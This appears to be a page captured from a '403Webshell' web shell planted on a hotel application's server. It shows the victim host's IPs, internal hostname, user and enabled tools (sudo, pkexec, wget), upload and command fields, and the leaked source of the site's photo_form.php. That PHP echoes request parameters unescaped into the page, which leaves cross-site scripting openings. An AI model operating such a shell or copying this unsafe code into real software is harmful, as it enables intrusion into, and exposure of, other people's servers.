403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/photo_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('hotels', 'basic_info');
	if ($_POST['ajax_photo_submitted'] == '1') :
		form_reload_check();
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'basic_info';
		endif;
		$ar_err = array();
		if (empty($_POST['description'])) :
			$ar_err['description'] = 'Description is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (!$err_flag) :
			/* ***************** store photos **************** */
			//var_dump($_FILES);
			if (isset($_FILES['filename']) && !empty($_FILES['filename']['tmp_name'])) :
				$check = getimagesize($_FILES['filename']['tmp_name']);
				if($check !== false) :
					$target_dir = APP_ROOT_DIR."/photo_uploads/";
					$ext = strtolower(pathinfo($_FILES['filename']['name'],PATHINFO_EXTENSION));
					if ($ext == 'jpg' || $ext == 'jpeg' || $ext == 'png' || $ext == 'gif') :
						$max_dim = 800;
						list($img_width, $img_height, $_img_type, $img_attr) = $check;
						$file_id = bin2hex(openssl_random_pseudo_bytes(12)).'.'.$ext;
						$source = $_FILES['filename']['tmp_name'];
						$dest = $target_dir.basename($file_id);
						$ratio = $img_width/$img_height; // width/height
						if ( $img_width > $max_dim || $img_height > $max_dim ) :
							if( $ratio > 1) :
								$new_width = $max_dim;
								$new_height = $max_dim / $ratio;
							else :
								$new_width = $max_dim * $ratio;
								$new_height = $max_dim;
							endif;
						else :
							$new_width = $img_width;
							$new_height = $img_height;
						endif;
						$src = imagecreatefromstring( file_get_contents( $source ) );
						//Auto rotate based on EXIF data
						$exif = exif_read_data($_FILES['filename']['tmp_name']);
						//var_dump($exif);
						if(!empty($exif['Orientation'])) :
							switch($exif['Orientation']) :
								case 8:
									$temp_dimension = $new_width;
									$new_width = $new_height;
									$new_height = $temp_dimension;
									$temp_dimension = $img_width;
									$img_width = $img_height;
									$height_orig = $temp_dimension;
									$src = imagerotate($src,90,0);
									break;
								case 3:
									$src = imagerotate($src,180,0);
									break;
								case 6:
									$temp_dimension = $new_width;
									$new_width = $new_height;
									$new_height = $temp_dimension;
									$temp_dimension = $img_width;
									$img_width = $img_height;
									$img_height = $temp_dimension;
									$src = imagerotate($src,-90,0);
									break;
							endswitch;
						endif;							
						//echo 'w '.$fwidth.' h '.$blank_height.' ow '.$width_orig.' oh '.$height_orig;
						//*******************************
						$dst = imagecreatetruecolor( $new_width, $new_height );
						imagecopyresampled( $dst, $src, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height );
						imagedestroy( $src );
						switch($ext){
							case "gif":
								$image_result = imagegif( $dst, $dest );
							break;
							case "jpg":
								$image_result = imagejpeg( $dst, $dest );
							break;
							case "jpeg":
								$image_result = imagejpeg( $dst, $dest );
							break;
							case "png":
								$image_result = imagepng( $dst, $dest );
							break;
						}
						imagedestroy( $dst );
						//echo ' === source: '.$source.' === dest: '.$dest.' === ';
						//if (move_uploaded_file($source, $dest)) :
						if ($image_result) :
							$_POST['filename'] = $file_id;
						else :
							die('Error uploading file ');
						endif;
					else :
						$ar_err['filename'] = 'Invalid image file extension!';
						$err_flag = true;
						$err_tab = 'basic_info';
					endif;
				else :
					if ($action != "Edit" || !empty($_FILES['filename']['tmp_name'])) :
						$ar_err['filename'] = 'File to upload is not an image!';
						$err_flag = true;
						$err_tab = 'basic_info';
					endif;
				endif;
			else :
				if ($action != "Edit") :
					$ar_err['filename'] = 'Photo to upload is required!';
					$err_flag = true;
					$err_tab = 'basic_info';
				endif;
			endif;
			/* ************************************************ */
		endif;
		if (!$err_flag) :
			$set = 	"verification_id = ".nz(trim($_POST['verification_id']), '0').", ".
					"description = ".$db->quote(trim($_POST['description'])).", ".
					"filename = ".$db->quote(trim($_POST['filename'])).", ".
					"comments = ".$db->quote(trim($_POST['comments'])).", ".
					sql_set_update();
			if ($action == 'Edit') :
				$sql = "UPDATE verification_photos set ".$set.
					"WHERE photo_id = ".nz(trim($_REQUEST['id']), '0')." ";
				$db->query($sql) or die('Database Error!');
				//echo '==='.$sql.'===';
				post_set_update();
			else :
				if ($action == 'Add New') :
					$sql = "INSERT INTO verification_photos SET ".
						sql_set_create().
						$set;
					//echo '==='.$sql.'===';
					$db->query($sql) or die('Database Error!');
					$_REQUEST['id'] = last_id();
					$_POST['photo_id'] = $_REQUEST['id'];
					post_set_create_update();
				endif;
			endif;
			$form_message = "Saved sucessfully!";
			form_uid_reset();
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				//echo "window.location.href = 'index.php?IX=".$_REQUEST['ref']."'";
				echo "appstack_pop()";
				echo "</SCRIPT>";
			endif;
			if ($_POST['xsubmit'] == 'Save & New') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=photo_form&ref=".urlencode($_REQUEST['ref'])."&verification_id=".$_GET['verification_id']."'";
				echo "</SCRIPT>";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM verification_photos WHERE photo_id = ".nz(trim($_REQUEST['id']), '0')." ";
			$result = $db->query($sql) or die('Database Error!');
			if ($result->rowCount() > 0) :
				$row = $result->fetch(PDO::FETCH_OBJ);
				$_POST['photo_id'] = $row->photo_id;
				$_POST['verification_id'] = $row->verification_id;
				$_POST['description'] = $row->description;
				$_POST['filename'] = $row->filename;
				$_POST['comments'] = $row->comments;
				post_set_load_create_update();
			else :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
			if (!empty($_GET['verification_id'])) :
				$_POST['verification_id'] = $_REQUEST['verification_id'];
			endif;
			$_POST['status'] = 1;
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';

	update_header = function()
	{
		/*
		if ($("#first_name").val() > "" && $("#last_name").val() > "" )
		{
			$("#header_repeater").text(" - " + $("#first_name").val() + ' ' + $("#last_name").val());
		}
		*/
	}
	
	$(document).ready(function()	
		{
			switch_tab('<?php echo $active_tab; ?>');
			update_header();
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
		}
	)
</script>

<h1>Verification Photo - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form style="" name="frm_photo" id="frm_photo" method="post" enctype="multipart/form-data" action="">
	<input name="ajax_photo_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<?php
			form_tab_header('basic_info', 'Basic Info', 'admin,verifier,gte');
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_basic_info">
		<div class="form_header">
			Basic Info
		</div>
		<div class="input_column">
			<?php
				form_field('photo_id', 'text', 10, 0, false, false, true, '', '', 'photo_id', 'Photo ID');
				form_field('verification_id', 'text', 10, 0, false, false, true, '', '', 'verification_id', 'Verification ID');
				form_field('description', 'text', 150, 0, true, false, false, '', '', 'description', 'Description');
				form_field('comments', 'textarea', 50, 7, false, false, false, '', '', 'comments', 'Comments');
			?>
		</div>
		<div class="input_column">
			<div class="input_field" style="padding-right:20px;">
				<label for="photo_label">Photo</label>
				<label id="photo_label" class="photo_label required" for="filename">
					Click/Touch here to upload or snap a photo<br />
					<input name="filename" id="filename" type="file" tabindex="4" maxlength="120" accept="image/*" capture="camera"  />
				</label>
				<input name="filename" type="hidden"  maxlength="120" value="<?php echo $_POST['filename']; ?>"  />
				<?php show_form_error($ar_err['filename']); ?>
			</div>
		</div>
		<?php
			if (!empty($_POST['filename'])) :
		?>
				<br />
				<div style="width:100%; max-width:750px; text-align:center; margin-left:auto; margin-right:auto;">
					<img src="photo_uploads/<?php echo $_POST['filename']; ?>" style="max-width:100%;" align="top"  />
				</div>
		<?php
			endif;
		?>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_button_strip('bottom'); ?>
</form>



Youez - 2016 - github.com/yon3zu
LinuXploit